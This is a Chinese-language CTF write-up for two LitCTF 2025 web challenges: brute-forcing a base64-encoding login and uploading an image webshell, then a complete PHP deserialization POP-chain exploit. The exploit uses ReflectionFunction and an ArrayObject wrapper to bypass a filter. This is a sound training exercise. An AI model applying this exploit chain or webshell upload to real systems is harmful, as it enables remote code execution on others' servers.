[LitCTF 2025]easy_file
F12源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <script>
const particlesContainer = document.getElementById('particles'); for (let i = 0; i < 30; i++) { const particle = document.createElement('div'); particle.className = 'particle'; particle.style.width = `${Math.random() * 20 + 5}px`; particle.style.height = particle.style.width; particle.style.left = `${Math.random() * 100}%`; particle.style.top = `${Math.random() * 100}%`; particle.style.animationDelay = `${Math.random() * 5}s`; particlesContainer.appendChild(particle); }
document.getElementById('loginForm').addEventListener('submit', function(e) { e.preventDefault(); const username = this.querySelector('input[name="username"]').value; const password = this.querySelector('input[name="password"]').value; const encoder = new TextEncoder(); const encode = str => btoa(String.fromCharCode(...encoder.encode(str))); this.querySelector('input[name="username"]').value = encode(username); this.querySelector('input[name="password"]').value = encode(password); this.submit(); }); </script>
|
有查看jpg的点
进去就是登录框 首先尝试弱口令 用户名照常admin 密码随便猜的弱密码 虽然错误但是发现回到登陆页面它给你填好了帐号

YWRtaW4=是admin的base64 所以我们猜测帐号密码应该都是base64过后的弱口令 然后你抓包也能知道他是base64编码 burp字典爆破即可

爆破出来为password 登陆进去是文件上传的点 只能上传txt和jpg 如果只能上传jpg上传个图片马看看 检测php使用短标签
图片马条件是必须有文件包含 刚好这里前面源代码有一个file查看图片

[LitCTF 2025]君の名は
进去就是php代码 反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); error_reporting(0); create_function("", 'die(`/readflag`);'); class Taki { private $musubi; private $magic; public function __unserialize(array $data) { $this->musubi = $data['musubi']; $this->magic = $data['magic']; return ($this->musubi)(); } public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); } }
class Mitsuha { private $memory; private $thread; public function __invoke() { return $this->memory.$this->thread; } }
class KatawareDoki { private $soul; private $kuchikamizake; private $name;
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; } }
$Litctf2025 = $_POST['Litctf2025']; if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){ unserialize($Litctf2025); }else{ echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆"; }
|
这是道很好的题 对不擅长php序列化的师傅有点难理解 但请耐心看完
首先先找最后获取flag的点是 create_function(“”, ‘die(/readflag);’);
创造了一个匿名的函数来执行读取flag的操作 所以我们要读取flag就得通过反序列化调用这个匿名函数。
所以现在有几个点需要解决: 1.匿名函数的名字 2.怎么调用匿名函数 3.绕过最后一步
1.
1 2 3 4
| <?php $a = create_function("","die(` /readflag`);"); var_dump($a);
|
输出就是其名字 但是网页每刷新一次 函数名后的数字就会加1
2.
链子顺序很简单,是:
Taki::__unserialize->Mitsuha::__invoke->KatawareDoki::__toString->Taki::__call
仔细看
1 2 3 4
| public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); } }
|
new $args[0]($args[1])用调用时传入的第一个参数 $args[0] 作为类名,动态创建这个类的实例。用第二个参数 $args[1] 作为该类构造函数的参数。
->{$this->magic}()调用新实例中,名字为 $this->magic 的方法,且无参数。
所以这里考了原生类的知识点 使用ReflectionFunction的invoke方法调用无参函数
理解:
1 2
| $rf = new ReflectionFunction($closure); $rf->invoke()
|
意为调用$closure这个函数。那么回到此题,即是调用lambda_1这个函数,读到flag。
$fun会被赋值为flag(),$args则是flag()里的东西
3.
绕过使用类对链子进行包装,这样开头的O就会替换为C,以此绕过。以下这些原生类是C开头
1 2 3 4 5 6 7
| ArrayObject::unserialize ArrayIterator::unserialize RecursiveArrayIterator::unserialize SplDoublyLinkedList::unserialize SplQueue::unserialize SplStack::unserialize SplObjectStorage::unserialize
|
POP链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class Taki { public $musubi; public $magic = "invoke"; }
class Mitsuha { public $memory; public $thread; }
class KatawareDoki { public $soul; public $kuchikamizake = "ReflectionFunction"; public $name = "\000lambda_1"; } $a = new Taki(); $b = new Mitsuha(); $c = new KatawareDoki();
$a -> musubi = $b; $b -> thread = $c; $c -> soul = $a;
$d = array("sauy"=>$a); $e = new ArrayObject($d);
echo urlencode(serialize($e)); ?>
|

请注意本题php版本是php7.4 但是运行链子请在PHP 5.3版本下运行(推荐使用phpstudy 切换php版本方便)
原因是:PHP版本差异导致的ArrayObject序列化格式变化。在PHP 5.6+及更高版本中,ArrayObject的序列化结构包含三部分(标志位、存储数组、迭代器信息),而旧版PHP(如5.3)则使用不同的自定义格式(以C:开头)–来自DEEPSEEK
https://chenxi9981.github.io/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/ (php序列化知识总结)